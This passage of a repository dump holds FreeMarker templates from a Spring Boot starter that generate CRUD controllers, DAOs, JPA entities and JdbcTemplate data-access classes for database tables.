    "content": "package ${packageController};\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Controller\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    */\n    @RequestMapping(\"/insert\")\n    @ResponseBody\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @RequestMapping(\"/delete\")\n    @ResponseBody\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    */\n    @RequestMapping(\"/update\")\n    @ResponseBody\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * Load查询\n    */\n    @RequestMapping(\"/load\")\n    @ResponseBody\n    public ${classInfo.className} load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 分页查询\n    */\n    @RequestMapping(\"/pageList\")\n    @ResponseBody\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/dao.ftl",
    "content": "package ${packageDao};\n\nimport org.apache.ibatis.annotations.Param;\nimport org.springframework.stereotype.Component;\nimport ${packageModel}.${classInfo.className};\n\nimport java.util.List;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Component\npublic interface ${classInfo.className}Dao {\n\n    /**\n    * 新增\n    */\n    public int insert(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public int delete(@Param(\"id\") int id);\n\n    /**\n    * 更新\n    */\n    public int update(@Param(\"${classInfo.className?uncap_first}\") ${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(@Param(\"id\") int id);\n\n    /**\n    * 分页查询Data\n    */\n\tpublic List<${classInfo.className}> pageList(@Param(\"offset\") int offset,\n                                                 @Param(\"pagesize\") int pagesize);\n\n    /**\n    * 分页查询Count\n    */\n    public int pageListCount(@Param(\"offset\") int offset,\n                             @Param(\"pagesize\") int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/db-record/${classInfo.className}.java.ftl",
    "content": "package ${packageName};\n<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n</#if>\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Data<#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if><#if fieldItem.fieldClass=='Date'>\n    @JsonFormat(pattern = \"yyyy-MM-dd HH:mm:ss\", timezone = \"GMT+8\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/db-record/${classInfo.className}Controller.java.ftl",
    "content": "package ${packageName};\n<#if isAutoImport?exists && isAutoImport==true>\nimport cn.hutool.core.bean.BeanUtil;\nimport com.google.common.collect.Maps;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    /**\n    * 新增或编辑\n    */\n    @RequestMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,${classInfo.className?uncap_first}.getId());\n        if(${classInfo.className?uncap_first}One!=null){\n            Db.updateBean(${classInfo.className?uncap_first});\n            return (\"编辑成功\");\n        }else{\n            Db.saveBean(${classInfo.className?uncap_first});\n            return (\"保存成功\");\n        }\n    }\n\n    /**\n    * 删除\n    */\n    @RequestMapping(\"/delete\")\n    public Object delete(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}One!=null){\n            Db.deleteById(\"${classInfo.tableName}\",id);\n            return (\"删除成功\");\n        }else{\n            return (\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @RequestMapping(\"/find/{id}\")\n    public Object find(@PathVariable(value = \"id\") int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}One= Db.findBeanById(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}One!=null){\n            return (${classInfo.className?uncap_first}One);\n        }else{\n            return (\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @RequestMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first}) {\n        List<${classInfo.className}> datas = Db.findBeanList(${classInfo.className}.class,\"select * from ${classInfo.tableName}\");\n        return datas;\n    }\n\n    /**\n     * 分页查询\n     */\n    @RequestMapping(\"/page\")\n    public Object page(${classInfo.className} ${classInfo.className?uncap_first},\n                       @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                       @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n        Map params = BeanUtil.beanToMap(${classInfo.className?uncap_first},true,true);\n        Page<${classInfo.className}> page= Db.findBeanPages(${classInfo.className}.class,pageNumber,pageSize, params);\n        return (page);\n    }\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jdbc-template-v1/jtdao.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface I${classInfo.className}DAO {\n\n    int add(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int delete(int id);\n\n    ${classInfo.className} findById(int id);\n\n    List<${classInfo.className}> findAllList(Map<String,Object> param);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jdbc-template-v1/jtdaoimpl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic class ${classInfo.className}DaoImpl implements I${classInfo.className}Dao{\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n    @Override\n    public int add(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"insert into ${classInfo.originTableName}  (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list></#if> ) values (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >?<#if fieldItem_has_next>,</#if></#list></#if> )\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()<#if fieldItem_has_next>,</#if></#list></#if>);\n    }\n\n    @Override\n    public int update(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"UPDATE  ${classInfo.originTableName}  SET <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${fieldItem.columnName}=?<#if fieldItem_has_next>,</#if></#if></#list></#if>\"\n        +\" where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}(),</#if></#list>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()</#if></#list>\n        </#if>);\n    }\n\n    @Override\n    public int delete(int id) {\n        return jdbcTemplate.update(\"DELETE from ${classInfo.originTableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",id);\n    }\n\n    @Override\n    public ${classInfo.className} findById(int id) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.originTableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\", new Object[]{id}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return  list.get(0);\n        }else{\n             return null;\n        }\n    }\n\n    @Override\n    public List<${classInfo.className}> findAllList(Map<String,Object> params) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.originTableName}\", new Object[]{}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return list;\n        }else{\n            return Collections.emptyList();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jdbctemplate/${classInfo.className}DaoImpl.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.BeanPropertyRowMapper;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic class ${classInfo.className}DaoImpl implements I${classInfo.className}Dao{\n\n    @Autowired\n    private JdbcTemplate jdbcTemplate;\n\n    @Override\n    public int add(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"insert into ${classInfo.tableName}  (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list></#if> ) values (<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >?<#if fieldItem_has_next>,</#if></#list></#if> )\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()<#if fieldItem_has_next>,</#if></#list></#if>);\n    }\n\n    @Override\n    public int update(${classInfo.className} ${classInfo.className?uncap_first}) {\n        return jdbcTemplate.update(\"UPDATE  ${classInfo.tableName}  SET <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${fieldItem.columnName}=?<#if fieldItem_has_next>,</#if></#if></#list></#if>\"\n        +\" where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index gt 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}(),</#if></#list>\n            <#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0 >${classInfo.className?uncap_first}.get${fieldItem.fieldName?cap_first}()</#if></#list>\n        </#if>);\n    }\n\n    @Override\n    public int delete(int id) {\n        return jdbcTemplate.update(\"DELETE from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\",id);\n    }\n\n    @Override\n    public ${classInfo.className} findById(int id) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName} where <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0><#list classInfo.fieldList as fieldItem ><#if fieldItem_index = 0>${fieldItem.columnName}=?<#break ></#if></#list></#if>\", new Object[]{id}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return  list.get(0);\n        }else{\n             return null;\n        }\n    }\n\n    @Override\n    public List<${classInfo.className}> findAllList(Map<String,Object> params) {\n        List<${classInfo.className}> list = jdbcTemplate.query(\"select * from ${classInfo.tableName}\", new Object[]{}, new BeanPropertyRowMapper<${classInfo.className}>(${classInfo.className}.class));\n        if(list!=null && !list.isEmpty() ){\n            return list;\n        }else{\n            return Collections.emptyList();\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jdbctemplate/I${classInfo.className}DAO.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface I${classInfo.className}DAO {\n\n    int add(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    int delete(int id);\n\n    ${classInfo.className} findById(int id);\n\n    List<${classInfo.className}> findAllList(Map<String,Object> param);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa/${classInfo.className}.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.tableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            //创建匹配器，需要查询条件请修改此处代码\n            ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n            //创建实例\n            Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n            //分页构造\n            Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n            return ${classInfo.className?uncap_first}Repository.findAll(example, pageable);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa/${classInfo.className}Repository.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-starp/starp-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n@Builder\n@AllArgsConstructor\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @ApiModelProperty(\"id\")\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n    private Integer id;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-starp/starp-jpa-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n\n@Slf4j\n@Api(tags = \"${classInfo.className?uncap_first}\")\n@CrossOrigin\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    @ApiOperation(value = \"save ${classInfo.className}\", notes = \"save ${classInfo.className}\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        try {\n            return ReturnT.success(${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first}));\n        } catch (Exception e) {\n            e.printStackTrace();\n            return ReturnT.error(\"保存失败\");\n        }\n\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    @ApiOperation(value = \"delete ${classInfo.className}\", notes = \"delete ${classInfo.className}\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    @ApiOperation(value = \"find ${classInfo.className} by id\", notes = \"find ${classInfo.className} by id\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    @ApiOperation(value = \"list ${classInfo.className}\", notes = \"list ${classInfo.className}\")\n    public Object list(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            try {\n                //创建匹配器，需要查询条件请修改此处代码\n                ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n                //创建实例\n                Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n                //分页构造\n                Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n                return ReturnT.success(${classInfo.className?uncap_first}Repository.findAll(example, pageable));\n\n            } catch (Exception e) {\n                e.printStackTrace();\n                return ReturnT.error(e.getMessage());\n            }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-starp/starp-repository.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.repository;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/resources/templates/jpa-v1/entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue\n<#if 